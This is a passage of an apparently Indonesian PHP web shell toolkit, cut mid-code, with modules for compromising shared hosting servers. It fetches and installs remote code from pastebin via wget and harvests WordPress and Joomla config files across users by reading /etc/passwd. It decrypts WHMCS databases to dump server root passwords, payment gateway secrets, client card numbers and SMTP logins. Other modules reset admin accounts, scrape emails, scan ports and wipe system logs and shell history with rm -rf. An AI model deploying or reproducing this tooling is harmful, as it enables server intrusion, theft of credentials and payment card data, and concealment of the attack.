                        echo "<font color='red'>gagal mepes...</font><br>";
                        echo "coba aja manual: <br>";
                        echo "$target/administrator<br>";
                        echo "username: $user_baru<br>";
                        echo "password: $password_baru<br>";

                       
                    }
                


}
else{
    echo "failed<br>";
    echo "data udh bener. beda template mungkin :(<br>";
    echo "coba aja manual: <br>";
    echo "$target/administrator<br>";
    echo "username: $user_baru<br>";
    echo "password: $password_baru<br><br>";
    echo "atau coba yg path 2<br>";
    system('wget http://pastebin.com/raw.php?i=1Bfg7mF6');
    system('cp raw.php?i=1Bfg7mF6 joomlah2.php');
    echo "<a href='/joomlah2.php' target='_blank' style='text-decoration:none;'>Disini..</a><br>";
}


curl_close($ch3);
curl_close($ch);





            }
            elseif($tanya == "n"){
            echo "Sukses<br>";
            echo "username: $user_baru<br>";
            echo "password: $password_baru<br>";

            }
        

        }



        else{

         echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ JOOMLAH ]]=-</b></th></center></tr>';
echo '<tr><td>host</td><td><input class=olenk type=text size=40 name="host" value="localhost"></td></tr>';
echo '<tr><td>db user</td><td><input class=olenk type=text size=40 name="username"></td></tr>';
echo '<tr><td>db pass</td><td><input class=olenk type=text size=40 name="password"></td></tr>';
echo '<tr><td>db name</td><td><input class=olenk type=text size=40 name="db"></td></tr>';
echo '<tr><td>db prefix</td><td><input class=olenk type=text size=40 name="dbprefix"></td></tr>';
echo '<tr><td>user baru</td><td><input class=olenk type=text size=40 name="user_baru"></td></tr>';
echo '<tr><td>pass baru </td><td><input class=olenk type=text size=40 name="password_baru"></td></tr>';
echo '<tr><td>auto inject</td><td><input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n </td></tr>';
echo '<tr><td>target </td><td><input class=olenk type=text size=40 name="target"></td></tr>';
echo '<tr><td><input class=olenk1 type="submit" value="Submit" name="submitt"></td></tr>
</table>';
        }
}

?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk4')) {
?>
<form action="?&amp;idb=olenk4" method="post">
<?php
// Tu5b0l3d
// thx to: IndoXPloit, HNc
// Config Wordpress and Joomla Grabber
error_reporting(0);
 echo "<h1><center>Created By IndoXploit<br><a href='roct/'style='text-decoration:none;'>Open Configs</a></center><br></h1>";
//$us = file_get_contents("/etc/passwd");
$usa = fopen('/etc/passwd','r');
$dir = mkdir('roct', 0777);
$rrrr = "Options all 
 DirectoryIndex configs.html 
 Require None 
 Satisfy Any";
$frr = fopen('roct/.htaccess', 'w');

fwrite($frr, $rrrr);
while($us = fgets($usa)){
if($us==""){
    echo "cann't read /etc/passwd";
}
else{
preg_match_all('/(.*?):x:/', $us, $user_byk);

    foreach($user_byk[1] as $user){
        $dir1 = "/home/$user/public_html/";
        if(is_readable($dir1)){
            $dir = "/home/$user/public_html/wp-config.php";
            $dir2 = "/home/$user/public_html/configuration.php";
            $ambil = file_get_contents($dir);
            
        
            if($ambil==""){
                $ambil_joom = file_get_contents($dir2);
                if($ambil_joom==""){                
                  echo "<font color='green'>$user <= Readable (Bukan Wordpress dan Joomla)<br></font>";
                
            }
            else{

                $file1 = "roct/$user-configuration.txt";
                $fp2 = fopen($file1,"w");
                fputs($fp2,$ambil_joom);

                echo "<a href='roct/$user-configuration.txt'style='text-decoration:none;'>$user </a> <= Joomla<br>";
                
            }
                
            }
            else{

                $file1 = "roct/$user-wpconfig.txt";
                $fp2 = fopen($file1,"w");
                fputs($fp2,$ambil);

                echo "<a href='roct/$user-wpconfig.txt'style='text-decoration:none;'>$user </a> <= Wordpress<br>";
                
            }


    }
        else{
            
             
        }

   }

}

}
}
   ?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk5')) {
?>
<form action="?&amp;idb=olenk5" method="post">
<?php
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ WHMCS DECODER ]]=-</b></th></center></tr>';
echo '<tr><td>host</td><td><input class=olenk type=text size=40 name="host" value="localhost"></td></tr>';
echo '<tr><td>db name</td><td><input class=olenk type=text size=40 name="db"></td></tr>';
echo '<tr><td>db user</td><td><input class=olenk type=text size=40 name="username"></td></tr>';
echo '<tr><td>db pass</td><td><input class=olenk type=text size=40 name="password"></td></tr>';
echo '<tr><td>cc_encript</td><td><input class=olenk type=text size=40 name="cc_encrypt"></td></tr>';
echo '<tr><td><input class=olenk1 type=submit name="olenktea" value="hajar kang"></td></tr>
</table>';

set_time_limit(0);
if(isset($_POST['olenktea'])){
$db_host = $_POST['host'];
$db_username = $_POST['username'];
$db_password = $_POST['password'];
$db_name = $_POST['db'];
$cc_encryption_hash = $_POST['cc_encrypt'];
$mysql_charset = 'utf8';
@mysql_connect($db_host,$db_username,$db_password);
@mysql_select_db($db_name);

function cut($start,$end,$top){
$c =strlen($start);
$desc= strstr("$top","$start");
$count = strpos("$desc","$end");
$desc = substr($desc,$c,$count-$c);
return $desc;
}

function dec($string,$cc_encryption_hash){
$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen($hash_key);
$string = base64_decode($string);
$tmp_iv = substr($string,0,$hash_length);
$string = substr($string,$hash_length,strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length){
$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen($string)){
if(($c != 0 AND $c % $hash_length == 0)){
$key = _hash($key . substr($out,$c - $hash_length,$hash_length));
}
$out .= chr(ord($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}


function _hash($string){
if(function_exists("sha1")) {
$hash = sha1($string);
} else {
$hash = md5($string);
}
$out = "";
$c  = 0;
while ($c < strlen($hash)) {
$out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
} 



$query = mysql_query("SELECT *FROM tblservers");
echo "<hr><br/><center><font color='orange' size='5'><b><u>Host Root</b></u></font></center><br/> <table border='1' cellpadding='5' align='center'>
<tr> <td align='center'><b> <font color='orange'> TYPE</font></b></td>
<td align='center'><b> <font color='orange'> ACTIVE </font></b></td>
<td align='center'><b> <font color='orange'> IP ADDRESS</font></b></td>
<td align='center'><b> <font color='orange'> USERNAME</font></b></td>
<td align='center'><b> <font color='orange'> PASSWORD</font></b></td>
<td align='center'><b> <font color='orange'>ACCESS HASH</font></b></td> 
<td align='center'><b> <font color='orange'>NAME SERVER</font></b> 
</tr>";
        
while($v = mysql_fetch_array($query)) {
$II11II11II11II11 = fopen("olenk1.txt","a");
echo "<tr>
<td align='center'> <font color='green'> {$v['type']}</font></td>
<td align='center'> <font color='green'> {$v['active']}</font></td>
<td align='center'> <font color='green'> {$v['ipaddress']}</font></td>
<td> <font color='green'> {$v['username']}</font></td>
<td> <font color='green'> ".dec($v['password'],$cc_encryption_hash)."</font></td>
<td> <font color='green'><textarea> {$v['accesshash']}</textarea></font></td> 
<td> <font color='green'> {$v['nameserver1']}</font></td>
</tr>";
$bagong = $v['accesshash'];
fwrite($II11II11II11II11,"SERVER : 
");
fwrite($II11II11II11II11,$bagong."
"); 
fwrite($II11II11II11II11,"
");
fclose($II11II11II11II11); 
}
echo "</table>"; 
$query = mysql_query("SELECT *FROM tblregistrars");
echo "<center><font color='orange' size='5'><b><u>Domain Registrars</u></b></font></center><br/> <table border='1' align='center' cellpadding='5'>
<tr> <td align='center'><b> <font color='orange'> REGISTRAR</font></b></td>
<td align='center'><b> <font color='orange'> SETTING</font></b></td>
<td align='center'><b> <font color='orange'> VALUE</font> </b></td></tr>";
while($v = mysql_fetch_array($query)){
$value = (!dec($v['value'],$cc_encryption_hash)) ? "0":dec($v['value'],$cc_encryption_hash);
echo "<tr>
<td align='center'> <font color='green'> {$v['registrar']}</font></td>
<td align='center'> <font color='green'> {$v['setting']}</font></td>
<td align='center'> <font color='green'> $value</font></td></tr>" ;
}
echo "</table>"; 
$query = mysql_query("SELECT *FROM tblpaymentgateways");
echo "<center><font color='orange' size='5'><b><u>Payment Gateway</u></b></font></center><br/> <table border='1' align='center' cellpadding='5'>
<tr> <td align='center'><b> <font color='orange'> GATEWAY</font></b></td>
<td align='center'><b> <font color='orange'> SETTING </font></b></td>
<td align='center'><b> <font color='orange'> VALUE </font></b></td>
<td align='center'><b> <font color='orange'> ORDER </font></b></td></tr>";
while($v = mysql_fetch_array($query)){
echo "<tr>
<td align='center'> <font color='green'> {$v['gateway']}</font></td>
<td align='center'> <font color='green'> {$v['setting']}</font></td>
<td align='center'> <font color='green'> {$v['value']}</font></td>
<td align='center'> <font color='green'> {$v['order']}</font></td> </tr>" ;
}
echo "</table>"; 
$query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC"); 
echo "<hr><br/><center><font color='orange' size='5'><b><u>Cilent CC</b></u></font></center><br/> <table border='1' cellpadding='5' align='center'>
<tr><td align='center'><b> <font color='orange'>CardType</font></b></td>
<td align='center'><b><font color='orange'>CardNumb </font></b></td>
<td align='center'><b> <font color='orange'>Expdate</font></b></td>
<td align='center'><b> <font color='orange'>IssueNumber</font></b></td>
<td align='center'><b> <font color='orange'>FirstName</font></b></td>
<td align='center'><b> <font color='orange'>LastName</font></b></td>
<td align='center'><b><font color='orange'>Address</font></b></td>
<td align='center'><b> <font color='orange'>Country</font></b></td> 
<td align='center'><b> <font color='orange'>Phone</font></b></td>
<td align='center'><b> <font color='orange'>Email</font></b></td> 
</tr>";
while($v = mysql_fetch_array($query)) { 
$cchash = md5($cc_encryption_hash.$v['0']);
$s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
$v2=mysql_fetch_array($s); 
echo "<tr>
<td align='center'> <font color='green'> ".$v2['cardtype']."</font></td>
<td align='center'> <font color='green'> ".$v2['cardnum']." </font> </td>
<td align='center'> <font color='green'> ".$v2['expdate']." </font> </td>
<td align='center'> <font color='green'> ".$v2['issuenumber']." </font> </td>
<td align='center'> <font color='green'> ".$v2['firstname']." </font> </td>
<td align='center'> <font color='green'> ".$v2['lastname']." </font> </td>
<td align='center'> <font color='green'> ".$v2['address1']." </font> </td>
<td align='center'> <font color='green'> ".$v2['country']." </font> </td> 
<td align='center'> <font color='green'> ".$v2['phonenumber']." </font> </td>
<td align='center'>".$v2['email']." </font> </td></tr>";
}
echo "</table>";
$query = mysql_query("SELECT *FROM tblhosting");
echo "<center><font color='orange' size='5'><b><u>Clients Hosting Account</u></b></font></center><br/><table border='1' cellpadding='5' align='center'>
<tr><td align='center'><b> <font color='orange'> DOMAIN</font></b></td>
<td align='center'><b> <font color='orange'> USERNAME</font></b></td>
<td align='center'><b> <font color='orange'> PASSWORD</font></b></td>
<td align='center'><b> <font color='orange'> IP ADDRESS</font></b></td></tr>";
while($v = mysql_fetch_array($query)){
echo "<tr>
<td align='center'> <font color='green'> {$v['domain']}</font></td>
<td align='center'> <font color='green'> {$v['username']}</font></td>
<td align='center'> <font color='green'> ".dec($v['password'],$cc_encryption_hash)."</font></td>
<td align='center'> <font color='green'> {$v['assignedips']}</font></td></tr>";
}
echo "</table><br /><br />";
echo "<center><h1>paypal + smtp login</h1>";
$query0=mysql_query("SELECT * FROM tblemailtemplates where name='Client Signup Email' or name='Password Reset Confirmation'");
while($v0=mysql_fetch_array($query0))
{
$t=$v0['subject'];
$t=trim(str_replace('{$company_name}','',$t));
$c=$v0['message'];
$c=explode("
",$c);
$r="";
for ($i=0;$i<count($c);$i++) {
if(strpos($c[$i],'{$client_password}')>0) {
$r.= $c[$i];
}elseif(strpos($c[$i],'{$client_email}')>0) {
$r.= $c[$i];
}
}
$r=preg_quote($r);
$r=str_replace('\{\$client_email\}','(.*)',$r);
$r=str_replace('\{\$client_password\}','(.*)',$r);
$r=str_replace('\{\$whmcs_link\}','(.*)',$r);
$r=str_replace('\{\$signature\}','(.*)',$r);
$r=str_replace('\{\$client_name\}','(.*)',$r);
$r=str_replace("
","",$r);
$r=str_replace("
","",$r);
$query=mysql_query("SELECT message,userid FROM tblemails where subject like '%".$t."%'");
while($v=mysql_fetch_array($query))
{
$mail=$v['message'];
$mail=str_replace("
","",$mail);
$mail=str_replace("
","",$mail);
// echo $mail;
   $reg  = "|(.*)$r(.*)|isU";
   // echo $reg;
$a=array();
preg_match_all($reg,($mail),$a);
for ($i=1;$i<count($a);$i++){
if( eregi("^[_\.0-9a-z-]+@([0-9a-z-]+\.)+[a-z]{2,10}$",$a[$i][0]) ) {
$list[$v['userid']]['mail'][]=$a[$i][0];
$list[$v['userid']]['pass'][]=$a[$i+1][0];
}
}
}
 
}
echo("<h3  class=\"tit\">Total Records ".(count($list)-1)."</h3>");
echo "<table border='1'>";
foreach ($list as $x=>$y){
echo "<tr><td><a href='?p=12&id=</a></td><td>".implode("<br>",$y['mail'])."|".implode("<br>",$y['pass'])."</td></tr>";
}
echo "</table>";
echo "<center><h1>smtp</h1>";
   
$query = mysql_query("SELECT * FROM tblconfiguration where 1");

        echo "<table border='1' cellpadding='5'>";

            while($row = mysql_fetch_array($query)){

                  if($row[setting] == 'SMTPHost'){
                        echo  "<tr><td>Hostname</td><td>{$row[value]}</td></tr>";
                  }elseif($row[setting] == 'SMTPUsername'){
                        echo  "<tr><td>Username</td><td>{$row[value]}</td></tr>";
                  }elseif($row[setting] == 'SMTPPassword'){
                        echo  "<tr><td>Password</td><td>{$row[value]}</td></tr>";
                  }elseif($row[setting] == 'SMTPPort'){
                        echo  "<tr><td>Port</td><td>{$row[value]}</td></tr>";
                  }
            }

        echo "</table>";


}
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk6')) {
?>
<form action="?&amp;idb=olenk6" method="post">
<?php
echo '<form method="post">
<b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ WHMCS RESSET PASS ]]=-</b></th></center></tr>';
echo '<tr><td>db_host </td><td><input class=olenk type="text" size="40" name="anu1" value="localhost"></td></tr>
<tr><td>db_username </td><td><input type="text" class=olenk size="40" name="anu2"></td></tr>
<tr><td>db_password</td><td><input type="text" class=olenk size="40" name="anu3"></td></tr>
<tr><td>db_name</td><td><input type="text" class=olenk size="40" name="anu4"></td></tr>
<tr><td>id_admin</td><td><input type="text" class=olenk size="40" value="1" name="idmaho"></td></tr>
<tr><td>new_username</td><td><input type="text" class=olenk size="40" value="pbm" name="userbaru"></td></tr>
<tr><td>new_password</td><td><input type="text" class=olenk size="40" value="idbteam" name="passbaru"></td></tr></table>
 <input type="submit" class=olenk1  value=" HAJAR BOS " name="plapon">
<br>
</form>';
    if (isset($_POST['plapon'])) {
        $anu1 = $_POST['anu1'];
        $anu2 = $_POST['anu2'];
        $anu3 = $_POST['anu3'];
        $anu4 = $_POST['anu4'];
        @mysql_connect($anu1, $anu2, $anu3);
        @mysql_select_db($anu4);
        $idmaho = str_replace("\'", "'", $idmaho);
        $target_id = $_POST['idmaho'];
        $userbaru = str_replace("\'", "'", $userbaru);
        $ganti_user = $_POST['userbaru'];
        $passbaru = str_replace("\'", "'", $passbaru);
        $hash_pass = $_POST['passbaru'];
        $ganti_pass = md5($hash_pass);
        $colox = "UPDATE tbladmins SET username ='" . $ganti_user . "' WHERE id ='" . $target_id . "'";
        $coloxx = "UPDATE tbladmins SET password ='" . $ganti_pass . "' WHERE id ='" . $target_id . "'";
        $udah_ganteng = @mysql_query($colox);
        $udah_ganteng = @mysql_query($coloxx);
        if ($udah_ganteng) {
            echo "<font color='lime'>SUKSES BOS  GANTENG :P</font>";
        }
    }
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk7')) {
?>
<form action="?&amp;idb=olenk7" method="post">
<?php
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ EXTRACT EMAILL COEG ]]=-</b></th></center></tr>';
echo '<tr><td>host</td><td><input class=olenk type=text size=40 name="host" value="localhost"></td></tr>';
echo '<tr><td>db name</td><td><input class=olenk type=text size=40 name="data"></td></tr>';
echo '<tr><td>db user</td><td><input class=olenk type=text size=40 name="user"></td></tr>';
echo '<tr><td>db pass</td><td><input class=olenk type=text size=40 name="pass"></td></tr>';
echo '<tr><td>db prefix</td><td><input class=olenk type=text size=40 name="dbprefix"></td></tr></table>';
echo'<center><input class=olenk1  type="submit"
name="joomla" value="joomla">
<input class=olenk1  type="submit"
name="opencart" value="opencart">
<input class=olenk1 type="submit"
name="wordpress" value="wordpress">
<input class=olenk1 type="submit"
name="whmcs" value="whmcs"></form></center>';

$host = $_POST['host'];
 $data = $_POST['data'];
 $user = $_POST['user'];
 $pass = $_POST['pass'];
 $dbprefix = $_POST['dbprefix'];
 
 # Command MySQL
 $cart = "SELECT `email` FROM `oc_user`";
 $wp = "SELECT `user_email` FROM `wp_users`";
 $j0 = 'SELECT `email` FROM `'.$dbprefix.'users` GROUP BY `email` ORDER BY `email`'; 
 $whm = "SELECT `email` FROM `tblclients`";
 
 # function connect MySQL & Select DB
 function connect($host,$data,$user,$pass) {
    $co = @mysql_connect($host,$user,$pass) or die(mysql_error());
   $da = @mysql_select_db($data) or die(mysql_error());
      return $co;
 }

 # OpenCart
if(isset($_POST['opencart'])){
$host = $_POST['host'];
 $data = $_POST['data'];
 $user = $_POST['user'];
 $pass = $_POST['pass'];
   echo "<center><textarea class=olenk cols='35' rows='18'>";
   if(connect($host, $data, $user, $pass)) {
   $cmd1 = @mysql_query($cart);
   while($emails1 = @mysql_fetch_array($cmd1)) {
   echo "{$emails1[email]}
"; }
   echo "</textarea></center>";  } }
 
 # Wordpress
if(isset($_POST['wordpress'])){
$host = $_POST['host'];
 $data = $_POST['data'];
 $user = $_POST['user'];
 $pass = $_POST['pass'];
   echo "<center><textarea class=olenk cols='35' rows='18'>";
   if(connect($host, $data, $user, $pass)) {
   $cmd2 = @mysql_query($wp);
   while($emails2 = @mysql_fetch_array($cmd2)) {
      echo "{$emails2[user_email]}
"; }
   echo "</textarea></center>"; } }
 
 # Joomla
if(isset($_POST['joomla'])){
$host = $_POST['host'];
 $data = $_POST['data'];
 $user = $_POST['user'];
 $pass = $_POST['pass'];
 $dbprefix = $_POST['dbprefix'];
   echo "<center><textarea class=olenk cols='35' rows='18'>";
   if(connect($host, $data, $user, $pass)) {
    $cmd3 = @mysql_query($j0);
   while($emails3 = @mysql_fetch_array($cmd3)) {
      echo "{$emails3[email]}
"; }
   echo "</textarea></center>"; } }
 
 # WHMCS
if(isset($_POST['whmcs'])){
$host = $_POST['host'];
 $data = $_POST['data'];
 $user = $_POST['user'];
 $pass = $_POST['pass'];
   echo "<center><textarea class=olenk cols='35' rows='18'>";
      if(connect($host, $data, $user, $pass)) {
    $cmd4 = @mysql_query($whm);
   while($emails4 = @mysql_fetch_array($cmd4)) {
      echo "{$emails4[email]}
"; }
   echo "</textarea></center>"; }
 }
   echo "<br>";
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk8')) {
?>
<form action="?&amp;idb=olenk8" method="post">
<?php
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ PORT SCANER ]]=-</th></center></tr>';
echo '<tr><td><b>site / ip :</b></td>';
echo '<td><input class=olenk type="text" name="site" size="40" />';
echo '<input class=olenk1 type="submit" name="sites" value="scan" />';
echo '</td></tr> </table>';

if(isset($_POST['sites'])){
   error_reporting(0);
   $site = $_POST['site'];
   $port = array(20,21,22,25,65,80,81,110,111,119,143,389,443,445,981,1503,1720,2082,2525,3128,3306,3360,3389,4899,5631,5900,8080,8888); $batas=count($port);
   echo "<table>";
   $i=0;
      while($i<$batas){
      $fp = fsockopen($site,$port[$i],$errno,$errstr,10);
         if(!$fp){
            echo "<tr><td>&bull; ".$port[$i]." </td><td>==> <font color=red><b>Cannot</b></font> connect to server</td></tr>";}
               else
                  {
                  echo "<tr><td>&bull; ".$port[$i]." </td><td>==> Connect was <b><font color=green>successful</font></b> - open at ".$site;fclose($fp)."</td></tr>";}
               $i++;

                  }
               }   
   echo "</table>";
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk9')) {
?>
<form action="?&amp;idb=olenk9" method="post">
<?php
@error_reporting(0);
set_time_limit(0);
system("clear");

echo "<br><br>";
print "[+] clear log mode by OL3NK_T34 [+] 
";
echo "<br><br>";
print "-=[[ PBM BN-IDBTE4M ]]=-
";
echo "<br>";
print "~~~~~~~~~~~~~~~~~~~~~~~~~
";
echo "<br>";
print " permisi kang tukang ngpell mau lewat ^_^ 
";
echo "<br>";
print "~~~~~~~~~~~~~~~~~~~~~~~~~ 
";
echo "<br><br>";
sleep(1);  
print "
 bersih bersih di mulai~~~~~~\!/";
sleep(2);



{

exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");

shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");

passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");

echo "<br><br>";
system("rm -rf /tmp/logs");
sleep(2);
print "=>bekas coli udah bersih [+].../tmp/logs 
";
sleep(2);
echo "<br>";
system("rm -rf /root/.bash_history");
sleep(2);
print "=>bekas coli udah bersih [+].../root/.bash_history 
";
echo "<br>";
system("rm -rf /root/.ksh_history");
sleep(2);
print "=>bekas coli udah bersih [+].../root/.ksh_history 
";
echo "<br>";
system("rm -rf /root/.bash_logout");
sleep(2);
print "=>bekas coli udah bersih [+].../root/.bash_logout 
";
echo "<br>";
system("rm -rf /usr/local/apache/logs");
sleep(2);
print"=>bekas coli udah bersih [+].../usr/local/apache/logs 
";
echo "<br>";
system("rm -rf /usr/local/apache/log");
sleep(2);
print"=>bekas coli udah bersih [+].../usr/local/apache/log 
";
echo "<br>";
system("rm -rf /var/apache/logs");
sleep(2);
print"=>bekas coli udah bersih [+].../var/apache/logs 
";
echo "<br>";
system("rm -rf /var/apache/log");
sleep(2);
print"=>bekas coli udah bersih [+].../var/apache/log 
";
echo "<br>";
system("rm -rf /var/run/utmp");
sleep(2);
print"=>bekas coli udah bersih [+].../var/run/utmp 
";
echo "<br>";
system("rm -rf /var/logs");
sleep(2);
print"=>bekas coli udah bersih [+].../var/logs 
";
echo "<br>";
system("rm -rf /var/log");
sleep(2);
print"=>bekas coli udah bersih [+].../var/log 
";
echo "<br>";
system("rm -rf /var/adm");
sleep(2);
print"=>bekas coli udah bersih [+].../var/adm 
";
echo "<br>";
system("rm -rf /etc/wtmp");
sleep(2);
print"=>bekas coli udah bersih [+].../etc/wtmp 
";
echo "<br>";
system("rm -rf /etc/utmp");
sleep(2);
print"=>bekas coli udah bersih [+].../etc/utmp 
";
echo "<br>";
system("rm -rf $HISTFILE");
sleep(2);
print"=>bekas coli udah bersih [+]...$HISTFILE 
"; 
echo "<br>";
system("rm -rf /var/log/lastlog");
sleep(2);
print"=>bekas coli udah bersih [+].../var/log/lastlog 
";
echo "<br>";
system("rm -rf /var/log/wtmp");
sleep(2);
print"=>bekas coli udah bersih [+].../var/log/wtmp 
";
echo "<br><br>";
sleep(4);

print "[+] [+] semua bekas coli udah bersih~~~~[+] [+] 
";
echo "<br>";
print "=>jangan lupa bayar ya :v 
";
echo "<br>";
print "~~~~~~~~~~~~~~~~~~~~~~~~~
";
echo "<br><br>";
}
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk10')) {
?>
<form action="?&amp;idb=olenk10" method="post">
<?php
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class=olenk type="text" name="password" size="50" />';
echo '<input class=olenk1 type="submit" name="enter" value="hash" />';
echo '</td></tr>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=olenk type=text size=50 value='.$pass.'></td></tr>';
echo '<tr><td>MD5</td><td><input class=olenk type=text size=50 value='.$hash.'></td></tr>';
echo '<tr><td>MD4</td><td><input class=olenk type=text size=50 value='.$md4.'></td></tr>';
echo '<tr><td>MD5 with Salt</td><td><input class=olenk type=text size=50 value='.$hash_md5.'></td></tr>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=olenk type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=olenk type=text size=50 value='.$hash1.'></td></tr>';
echo '<tr><td>Sha256</td><td><input class=olenk type=text size=50 value='.$sha256.'></td></tr>';
echo '<tr><td>Sha1 with Salt</td><td><input class=olenk type=text size=50 value='.$hash1_sha1.'></td></tr>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=olenk type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>'; 
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk11')) {
?>
<form action="?&amp;idb=olenk11" method="post">
<?php
         echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ KUNCI FOLDER ]]=-</b></th></center></tr>';
echo "<tr><td>Dir</td><td><input class=olenk name='path' type='text' value=/home/".@get_current_user()."/  size=40></td></tr>";
echo '<tr><td>username</td><td><input class=olenk type=text size=40 name="username"></td></tr>';
echo '<tr><td>password</td><td><input class=olenk type=text size=40 name="password"></td></tr>';
echo '<tr><td><input class=olenk1 type=submit name="submit" value="kunci"></td></tr>
</table>';

        # POSTS
        $username = $_POST['username'];
        $password = $_POST['password'];
        $path = $_POST['path'];
        # htaccess
        $htaccess = "IyBHZW5lcmF0ZWQgQnkgeFNlY3VyaXR5IAojIERlVi1Qb2luVC5Db00KCkF1dGhUeXBlIEJhc2ljCkF1dGhOYW1lICJQcm90ZWN0ZWRbeFNlY3VyaXR5XSIKQXV0aFVzZXJGaWxlICN4c2VjdXJpdHkjLy5odHBhc3N3ZApSZXF1aXJlIHZhbGlkLXVzZXI=";
       
        $b0x = str_replace("#xsecurity#" ,$path ,base64_decode($htaccess));
        $crypt = crypt($password, base64_encode($password));
       
        # Create
        if($_POST['submit'])
        {
                $htpasswd = fopen($path.'.htpasswd', 'w');
                if($htpasswd)
                {
                        $s = $username.":".$crypt;
                        $x = fwrite($htpasswd,$s);
                        if($x)
                        {
                                print "<center><font face='Tahoma' size='2'>[+] <b>.htpasswd</b> Created </center></font>";
                        }
                }
                $htx = fopen('.htaccess','w');
                if($htx)
                {
                        $xx = fwrite($htx, $b0x);
                        if($xx)
                        {
                                print "<center><font face='Tahoma' size='2'>[+] <b>.htaccess</b> Created</font>";
                        }
                }
        }
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk12')) {
?>
<form action="?&amp;idb=olenk12" method="post">
<?php
error_reporting(0);
$whm_ssl = 1;
$whm_metode = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
//functiont
class Whm{
var $controller = true;
var $host = null;
var $user=null;
var $accessHash = null;
var $errors=array();
var $fp=null;
function startup(&$controller){
$this->controller =& $controller;}
function init($host,$user,$accessHash){
$this->host=$host;
$this->user=$user;
$accessHash = str_replace(array("
", "
"),"",$accessHash);
$this->accessHash=$accessHash;}
function connect($api_path){
